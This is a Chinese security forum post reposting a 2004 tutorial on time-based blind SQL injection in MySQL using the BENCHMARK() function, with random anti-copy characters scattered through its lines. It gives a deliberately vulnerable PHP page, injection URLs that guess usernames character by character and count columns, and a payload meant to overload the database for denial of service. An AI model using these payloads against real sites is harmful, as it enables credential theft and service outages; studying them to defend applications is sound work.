找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2073|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
. ~" `' K2 x! _! r) h2 B本文作者:SuperHei/ K1 @5 T5 o4 B. p+ ?6 W* ^# `) ~
文章性质:原创
1 Z& O! ?4 O7 f; _$ X; u发布日期:2005-01-02# @! L# `4 W$ @
完成日期:2004-07-09 * X( j- |# ?7 \
第一部5 H- m4 @& z* i) n0 m' S4 k
. F& Q5 |1 ]4 {4 z* W) h
利用时间推延进行注射---BENCHMARK函数在注射中的利用 0 Q5 S& Z% b; ^

2 u5 N" A7 n7 [0 T1 b一.前言/思路) n1 ]4 y: s$ H* n, N1 A

2 r& A2 l5 M8 Y* c- a  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。' n/ d  u* V3 b5 d- ^
1 J$ e. D0 V2 V5 u
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
8 V9 x  C: C8 x$ k$ a7 P, n
% E( o' I% p: o1 U: m" H二.关于BENCHMARK函数
5 t1 C1 s6 T/ q
9 J. f9 ]/ Z) R  在MySQL参考手册里可以看到如下描叙:
+ }4 j& _+ B: N* M  a. J3 {+ l9 P" A. }. A1 x1 `
* |8 w5 F/ J# j4 p! m4 F
--------------------------------------------------------------------------------
  N( J2 m+ ~  K% d
0 X  H6 U7 G( l7 e% T- ^2 [BENCHMARK(count,expr)
# v7 s0 i. o1 j* _9 J* gBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
! y  k7 b  `8 _mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
& q  J# A; S2 H: x+ d2 N+----------------------------------------------+
0 h5 m" J  F6 W6 A& \# Z3 G| BENCHMARK(1000000,encode("hello","goodbye")) | " S- }0 x5 D% r
+----------------------------------------------+ # A* ?2 @0 y* `9 P
| 0 |
# O6 q; s. C! X3 o+----------------------------------------------+
) Z" x1 |. R' a" n6 Y; {1 row in set (4.74 sec) 3 }$ h* T' \$ ^/ \# t2 n, q
! ]3 V: H5 U5 |0 T" B1 k
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
7 V+ M1 _( e  w: T1 G$ p! \/ u7 p% o$ N4 n/ |" k! g
6 f0 W3 x( b/ F; R
--------------------------------------------------------------------------------8 G; v' F7 u# w( t+ {! l

/ n& q# k# @1 [6 U$ N$ n% ]  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
7 G  T; c) c* m. f1 l3 p$ S% k) y
+ A" B3 F/ c  G, R( }mysql> select md5( 'test' );
# W( S# M. n; n  M: {) }+----------------------------------+ : Z, y3 e/ L7 Z; u# a/ m
| md5( 'test' ) | 4 P- H2 h  L! ]5 s
+----------------------------------+
3 a$ a8 _4 r( L2 D| 098f6bcd4621d373cade4e832627b4f6 | 9 A  B1 d& q" K
+----------------------------------+ % Z- r+ T/ a3 [4 N7 F/ l. u
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
* ?3 m. C  P; V: G) `+ {- E
2 R6 s$ K0 b8 fmysql> select benchmark( 500000, md5( 'test' ) ); / ]! f/ C/ D/ L: Y
+------------------------------------+ 0 H- V5 o9 Y, n' W. l; x' q) {
| benchmark( 500000, md5( 'test' ) ) | + l4 A9 {8 T" U! q% B# [3 w/ g
+------------------------------------+
: ?: n' A0 g; Q" N1 m0 N  M6 ]| 0 |
- n2 I2 C5 {+ G+------------------------------------+ 0 V$ }& q+ D$ K) a
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
4 N7 X6 S. m5 e' c. g2 H" c- u! i
5 L! s8 F1 [( L$ S8 q* r% J9 A9 ?; C9 S
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ! K1 A! h4 G5 s& V4 V& F5 W

/ N) {' }  C( T9 A" s; c. T三.具体例子' K& G" D! j. F4 ?2 [
- I% \: L" Y8 j, g
  首先我们看个简单的php代码:
5 ~' c  ]$ V# [7 o& K
+ Q  u! q6 `1 q; }* ?6 v< ?php / v" j, V% \% p, ~
$servername = "localhost";
8 K& y: S5 I& N  E  i$dbusername = "root"; 0 \6 }" m4 w. [% q
$dbpassword = "";
. ~1 i' V9 B* A5 ^$dbname = "injection"; & p  E: q: x" Z" h$ J$ n

2 U+ }5 b4 h3 p/ j4 kmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 3 x/ S  a& j% k, M1 T( m6 _

" S8 j* j/ x; i$sql = "SELECT * FROM article WHERE articleid=$id"; / e8 B8 C9 H; G9 L
$result = mysql_db_query($dbname,$sql); # u. u; g% p4 D7 W9 e% b8 S, Q
$row = mysql_fetch_array($result);
" L) S  Z! f" \' l) u" Z! l+ k1 d/ ^
if (!$row)
/ H: D; _: u% q( W{
" T+ A# P# B0 }4 }exit; ! |" q/ K+ Q; ^+ h
}
- Y) Q6 c0 x  T# g. F2 \- u+ O( s?># T1 G9 G2 I, F9 g0 k
0 b6 l2 g6 F8 L+ {  H) [" v

; Z! n: Z: ~9 i  e% r. I. O  数据库injection结构和内容如下:8 @' S- z  t& ?" H2 g

* ^; @; O" `- w. u7 B5 i. ?( n! H# 数据库 : `injection`
, z1 G$ Q( M6 o4 ~, J2 C2 a$ r+ g+ q# , \( ^0 G. @" N( k4 v, m: V

" k3 l/ I0 Z" S5 N! ?( w1 b& Y# -------------------------------------------------------- 1 |" l) l: Q6 }3 _- B5 B
: V- h: D5 C/ ?, x7 ^8 [
#
! V- W0 u5 v) `8 I3 X# 表的结构 `article`
2 I( Y" n7 G3 h+ Z1 W6 E5 x#
7 O$ R: c1 P  x( w+ m% l2 [
4 d) v7 e/ i) f0 w% f( O0 UCREATE TABLE `article` (
. h4 g! Q- D8 K; l3 A# c* C; ^% o`articleid` int(11) NOT NULL auto_increment, ( I! O4 B' M2 i: g
`title` varchar(100) NOT NULL default '',
+ k- x1 |: ?+ [- e7 |! B5 T: N`content` text NOT NULL,
5 K0 w' g% [  A! V% t/ R# oPRIMARY KEY (`articleid`) 3 J: p$ o8 M8 g3 W4 x$ k/ I$ H
) TYPE=MyISAM AUTO_INCREMENT=3 ; ( b8 {# t. M3 N5 T  o) F8 N
  D6 W/ c( q# C% k3 L( ~& M" |! B
# $ B, T7 ^2 d6 E  x' B  ~+ p  B
# 导出表中的数据 `article`
5 {9 A4 ?5 |& Q# k" d# 6 E9 S" k8 f; p) Q- J

7 Y* ~9 m8 K/ H7 iINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); + p! @0 T4 v/ f3 U( y) Z& o
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
& x9 ]' n! c; A
& j) d+ c5 X4 f& B; w) }1 Z# --------------------------------------------------------
! u! o' E7 i1 J* |! U& e( l
& n  S$ C  f+ [# 5 h1 Z' T1 x, Y/ z0 B* K$ e
# 表的结构 `user`
" U& {7 Y5 W: Y# S( g5 [# J#
, w( Z" N: W3 f& |: v' I0 S: P. b9 O! Q/ j/ i+ p9 [( ]( {7 \
CREATE TABLE `user` (
$ D. C/ R, i- X& v`userid` int(11) NOT NULL auto_increment, # m2 {2 R5 w$ n7 }2 A8 C
`username` varchar(20) NOT NULL default '', 6 @3 J* m% J5 Q8 R& C
`password` varchar(20) NOT NULL default '', 6 M- \3 I9 T/ u1 P
PRIMARY KEY (`userid`)
6 x: S0 {, k# k6 I' R4 l; x8 Q( G) TYPE=MyISAM AUTO_INCREMENT=3 ;
& W- s6 h+ l% W
* j. `. ]4 B- d! d: w#
9 f) J6 ?$ C. j# 导出表中的数据 `user`
$ ^0 t* `& z. f' J  G7 N# ; A; i. C% {7 M% V8 f

/ y8 K1 P7 u4 c; z) F% Z! t2 a( OINSERT INTO `user` VALUES (1, 'angel', 'mypass');
: a/ D' l* Y0 Y/ ]" ^' \INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');: c3 [+ @, W* F8 G$ ]

8 o. |! z9 ~- h0 e5 s( g5 X: ~- \8 q: z" w) E
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:# N. L. u3 `5 c8 c3 B9 V5 h
* ]$ Q9 r- N! S& j
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*# h" x) \. i: X% h4 X- f& R, K' T

" M' a! E& h. Y6 ~, {, h' \6 a8 A! E2 z
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
0 w$ Q5 T1 r% z  I1 r# z( _
8 V, Q" Q( H8 b0 O3 M# Dhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
7 W3 M! d% P3 _
+ ]0 `0 t& N: |( o
- G+ B) a9 Y/ b7 S% V* {" S. P  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 r3 A2 \' E' p/ A2 q

3 I8 M6 t; j4 [2 y  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 & {4 c6 V$ @* W+ V, K# \
* j1 E. S: F2 U! |. l
第二部
5 Z' ~3 a2 y0 b+ H, r1 ^- l# g1 F; q2 @: N; a  n" R
利用BENCHMARK函数进行ddos攻击
8 a; q- h$ O: D/ Q
5 f1 ?* E% j3 {+ n  R9 R$ e4 y  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
" W! m8 Z( A$ N2 W: v+ f& T# ]) j, G! p! U; W9 N
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))( s5 s# {8 C/ O* ~: ^& u

  U( a, P; l$ f5 x
* h7 I9 }& {  T7 W" f1 o$ w小结# Z6 ~0 R! v$ ~; Y

* U) p! W) \% P7 k  v/ t: ~  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。! ~$ d* @; i6 v2 `& m" _
" c" O' Y. e, W" w6 b- I  B$ i; }; z
  & D9 e5 r; [$ E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表